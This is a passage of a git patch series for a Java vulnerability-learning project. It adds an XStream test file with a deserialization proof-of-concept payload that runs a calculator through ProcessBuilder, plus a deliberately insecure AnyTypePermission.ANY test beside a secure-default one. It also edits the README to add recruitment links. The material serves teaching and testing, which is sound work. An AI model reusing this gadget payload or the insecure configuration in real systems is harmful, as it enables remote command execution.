+ */ + @Test + public void sec03() throws Exception { + System.out.println(poc); + ExpressRunner runner = new ExpressRunner(); + QLExpressRunStrategy.setSandBoxMode(true); + IExpressContext context = new DefaultContext<>(); + Object r = runner.execute(poc, context, null, true, false); + System.out.println(r); + } +} diff --git a/src/main/test/org/test/XStreamTest.java b/src/main/test/org/test/XStreamTest.java new file mode 100644 index 00000000..a5375ebf --- /dev/null +++ b/src/main/test/org/test/XStreamTest.java @@ -0,0 +1,70 @@ +package org.test; + +import com.thoughtworks.xstream.XStream; +import com.thoughtworks.xstream.io.xml.DomDriver; +import com.thoughtworks.xstream.security.AnyTypePermission; +import org.joychou.dao.User; +import org.junit.Test; + +public class XStreamTest { + + private static final String poc_xml = "\n" + + " foo\n" + + " \n" + + " java.lang.Comparable\n" + + " \n" + + " \n" + + " \n" + + " Open\n" + + " -a\n" + + " Calculator\n" + + " \n" + + " \n" + + " start\n" + + " \n" + + " \n" + + ""; + + + /** + * XStream basic usage. + */ + @Test + public void basicUsage() { + User user = new User(); + user.setId(0); + user.setUsername("admin"); + + XStream xstream = new XStream(new DomDriver()); + String xml = xstream.toXML(user); // Serialize + System.out.println(xml); + + // High version xstream needs set allowTypes + xstream.allowTypes(new Class[]{User.class}); + user = (User) xstream.fromXML(xml); // Deserialize + System.out.println(user.getId() + ": " + user.getUsername()); + } + + /** + * Command execute + */ + @Test + public void vuln01() { + System.out.println(poc_xml); + XStream xstream = new XStream(); + xstream.addPermission(AnyTypePermission.ANY); // Insecure configuration + xstream.fromXML(poc_xml); // Deserialize + } + + + /** + * Security code. XStream version: 1.4.20 + */ + @Test + public void sec01() { + System.out.println(poc_xml); + XStream xstream = new XStream(); + xstream.fromXML(poc_xml); // Deserialize + } + +} From 1d06b16c2a7acac439783e89e1882f82904edc9d Mon Sep 17 00:00:00 2001 From: JoyChou Date: Fri, 28 Jun 2024 09:48:48 +0800 Subject: [PATCH 4/5] Add alibaba recruitment. --- README.md | 10 ++-------- README_zh.md | 13 ++++++------- 2 files changed, 8 insertions(+), 15 deletions(-) diff --git a/README.md b/README.md index 0e8c074b..a6b30f4d 100644 --- a/README.md +++ b/README.md @@ -205,12 +205,6 @@ Core developers : [JoyChou](https://github.com/JoyChou93), [liergou9981](https:/ Other developers: [lightless](https://github.com/lightless233), [Anemone95](https://github.com/Anemone95), [waderwu](https://github.com/waderwu). -## Donate +## Support -If you like the poject, you can donate to support me. With your support, I will be able to make `Java sec code` better 😎. - -### Alipay - -Scan the QRcode to support `Java sec code`. - - +If you like the poject, you can star java-sec-code project to support me. With your support, I will be able to make `Java sec code` better 😎. diff --git a/README_zh.md b/README_zh.md index e2d5727c..b5c658c3 100644 --- a/README_zh.md +++ b/README_zh.md @@ -4,6 +4,10 @@ [英文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README.md) 😋 +## 招聘 + +[Alibaba招聘-安全攻防/研究(P5-P7)](https://github.com/JoyChou93/java-sec-code/wiki/Alibaba-Purple-Team-Job-Description) + ## 介绍 该项目也可以叫做Java Vulnerability Code(Java漏洞代码)。 @@ -195,12 +199,7 @@ Tomcat默认JSESSION会话有效时间为30分钟,所以30分钟不操作会 核心开发者: [JoyChou](https://github.com/JoyChou93).其他开发者:[lightless](https://github.com/lightless233), [Anemone95](https://github.com/Anemone95)。欢迎各位提交PR。 -## 捐赠 - -如果你喜欢这个项目,你可以捐款来支持我。 有了你的支持,我将能够更好地制作`Java sec code`项目。 - -### Alipay +## 支持 -扫描支付宝二维码支持`Java sec code`。 +如果你喜欢这个项目,你可以star该项目支持我。 有了你的支持,我将能够更好地制作`Java sec code`项目。 - From 4711f4e186258c6e0dd5c3863e7c9592e7e9026a Mon Sep 17 00:00:00 2001 From: JoyChou Date: Fri, 28 Jun 2024 09:52:04 +0800 Subject: [PATCH 5/5] Add alibaba recruitment. --- README.md | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/README.md b/README.md index a6b30f4d..c1f2eb91 100644 --- a/README.md +++ b/README.md @@ -5,6 +5,11 @@ Java sec code is a very powerful and friendly project for learning Java vulnerab [中文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README_zh.md) 😋 +## Recruitment + +[Alibaba-Security attack and defense/research(P5-P7)](https://github.com/JoyChou93/java-sec-code/wiki/Alibaba-Purple-Team-Job-Description) + + ## Introduce This project can also be called Java vulnerability code.